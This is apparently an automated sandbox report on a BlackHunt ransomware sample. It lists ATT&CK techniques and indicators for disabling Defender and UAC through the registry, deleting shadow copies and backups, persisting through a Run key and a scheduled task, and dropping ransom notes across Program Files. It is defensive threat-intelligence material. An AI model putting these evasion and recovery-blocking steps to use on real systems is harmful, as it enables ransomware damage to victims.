5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd

Data Destruction

T1485

pid	Process
3152	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3184	bcdedit.exe
3660	bcdedit.exe

Renames multiple (570) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
404	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\Z:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\G:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\X:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\T:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\A:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\B:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\N:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\M:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\E:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\H:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\R:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\Y:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\S:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\K:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\L:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\P:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\I:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\O:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\J:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\V:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\ro.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\control\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fontconfig.bfc	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\logger\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\meta-index	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\lua\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_fr.properties	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\README.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\RequestUnpublish.AAC	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\SyncWatch.svgz	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\CopyGet.wvx	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3864	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2820	vssadmin.exe
4348	vssadmin.exe
2028	vssadmin.exe
5052	vssadmin.exe
1504	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	Conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	Conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeRestorePrivilege	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeBackupPrivilege	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeTakeOwnershipPrivilege	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeAuditPrivilege	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeSecurityPrivilege	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeIncBasePriorityPrivilege	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Token: SeBackupPrivilege	812	wbengine.exe
Token: SeRestorePrivilege	812	wbengine.exe
Token: SeSecurityPrivilege	812	wbengine.exe
Token: SeBackupPrivilege	968	vssvc.exe
Token: SeRestorePrivilege	968	vssvc.exe
Token: SeAuditPrivilege	968	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 3436	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	92
PID 4928 wrote to memory of 3436	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	92
PID 4928 wrote to memory of 3304	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	94
PID 4928 wrote to memory of 3304	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	94
PID 4928 wrote to memory of 2176	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	96
PID 4928 wrote to memory of 2176	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	96
PID 4928 wrote to memory of 1456	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	98
PID 4928 wrote to memory of 1456	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	98
PID 4928 wrote to memory of 4392	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	99
PID 4928 wrote to memory of 4392	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	99
PID 4928 wrote to memory of 3584	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	104
PID 4928 wrote to memory of 3584	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	104
PID 4928 wrote to memory of 4560	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	106
PID 4928 wrote to memory of 4560	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	106
PID 4928 wrote to memory of 3228	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	108
PID 4928 wrote to memory of 3228	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	108
PID 4928 wrote to memory of 4720	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	110
PID 4928 wrote to memory of 4720	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	110
PID 4928 wrote to memory of 1392	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	111
PID 4928 wrote to memory of 1392	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	111
PID 4928 wrote to memory of 2144	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	113
PID 4928 wrote to memory of 2144	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	113
PID 4928 wrote to memory of 4152	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	115
PID 4928 wrote to memory of 4152	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	115
PID 3436 wrote to memory of 4856	3436	reg.exe	189
PID 3436 wrote to memory of 4856	3436	reg.exe	189
PID 3304 wrote to memory of 3952	3304	cmd.exe	102
PID 3304 wrote to memory of 3952	3304	cmd.exe	102
PID 4392 wrote to memory of 2752	4392	cmd.exe	170
PID 4392 wrote to memory of 2752	4392	cmd.exe	170
PID 4928 wrote to memory of 4956	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	121
PID 4928 wrote to memory of 4956	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	121
PID 4928 wrote to memory of 1380	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	123
PID 4928 wrote to memory of 1380	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	123
PID 4928 wrote to memory of 4884	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	127
PID 4928 wrote to memory of 4884	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	127
PID 4928 wrote to memory of 660	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	126
PID 4928 wrote to memory of 660	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	126
PID 4928 wrote to memory of 408	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	137
PID 4928 wrote to memory of 408	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	137
PID 1456 wrote to memory of 1660	1456	cmd.exe	122
PID 1456 wrote to memory of 1660	1456	cmd.exe	122
PID 2176 wrote to memory of 2816	2176	cmd.exe	200
PID 2176 wrote to memory of 2816	2176	cmd.exe	200
PID 4928 wrote to memory of 808	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	129
PID 4928 wrote to memory of 808	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	129
PID 4928 wrote to memory of 2052	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	131
PID 4928 wrote to memory of 2052	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	131
PID 4928 wrote to memory of 3960	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	134
PID 4928 wrote to memory of 3960	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	134
PID 4928 wrote to memory of 1504	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	211
PID 4928 wrote to memory of 1504	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	211
PID 4928 wrote to memory of 2384	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	140
PID 4928 wrote to memory of 2384	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	140
PID 4928 wrote to memory of 1752	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	142
PID 4928 wrote to memory of 1752	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	142
